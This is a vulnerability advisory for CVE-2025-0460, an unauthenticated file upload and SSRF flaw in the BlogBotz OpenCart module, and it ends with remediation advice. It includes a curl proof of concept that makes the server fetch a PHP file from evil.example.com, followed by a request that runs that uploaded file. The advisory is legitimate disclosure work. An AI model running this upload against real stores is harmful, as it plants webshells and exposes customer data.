The BlogBotz OpenCart module has an Unrestricted File Upload vulnerability.
This could allow an unauthenticated attacker to gain unauthorised access to the site / hosting infrastructure, for example via a PHP webshell or similar exploit.
It would then be possible to fully compromise the site by accessing admin session details / credentials or manipulating the application / code.
Any Personally Identifiable Information (PII) and/or payment details stored in the site's database would also be vulnerable to exfiltration.
- 2025-01-02: mcdruid contacts Blog Botz to report vulnerability
- 2025-01-03: CVE assignment requested
- https://www.opencart.com/index.php?route=marketplace/extension/info&extension_id=46561
- https://blogbotz.com/opencart-integration/
- Vulnerable version:
<name>Blog Botz for Journal Theme</name>
<version>1.0</version>
<author>Blog Botz</author>
<link>https://blogbotz.com.com</link>
- Tested with OpenCart 3.0.4.0
- CWE-434: Unrestricted Upload of File with Dangerous Type
- CWE-918: Server-Side Request Forgery (SSRF)
- CAPEC-650: Upload a Web Shell to a Web Server
- CVSS (v3): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L 9.9 Critical
- CVE: CVE-2025-0460
In the examples below, a simple OpenCart 3 test site has been set up with the BlogBotz module installed. It is not necessary to configure the site beyond the basic set up.
Here is an example exploit which sends a malicious payload in a POST request, with no authentication:
$ curl -s 'http://opencart3.ddev.site/index.php?route=extension/module/blog_add' -d 'image=http://evil.example.com/pi.php&title=foo&content=bar'
The attacker can specify the URL of a malicious file of an arbitrary type in the
image parameter, and the file will be saved to a known location.
Note that if the attacker wants to use this technique to upload a PHP file, the webserver hosting the malicious payload must serve the raw PHP source. For example, the python simple http server could be used.
The malicious PHP script should then be available via the OpenCart webserver, and will typically be executed as PHP. For example:
$ curl -s http://opencart3.ddev.site/image/catalog/journal3/blog/pi.php | grep HTTP_HOST
<tr><td class="e">$_SERVER['HTTP_HOST']</td><td class="v">opencart3.ddev.site</td></tr>
A real attacker would no doubt upload something more malicious than a phpinfo Proof of Concept.
This vulnerability could be abused to perform Server Side Request Forgery (SSRF) but it's most likely more valuable to an attacker as a method of uploading a malicious PHP script directly to the webserver.
This endpoint should require authentication before it processes an upload via a POST payload.
In addition, it should do some checking that the target file is a valid image (e.g. a simple file type allow-list) before copying the file to a location accessible via the webserver.
It's advisable to configure the webserver not to execute PHP scripts in a directory where users can upload their own files, but this is perhaps beyond the scope of this individual module.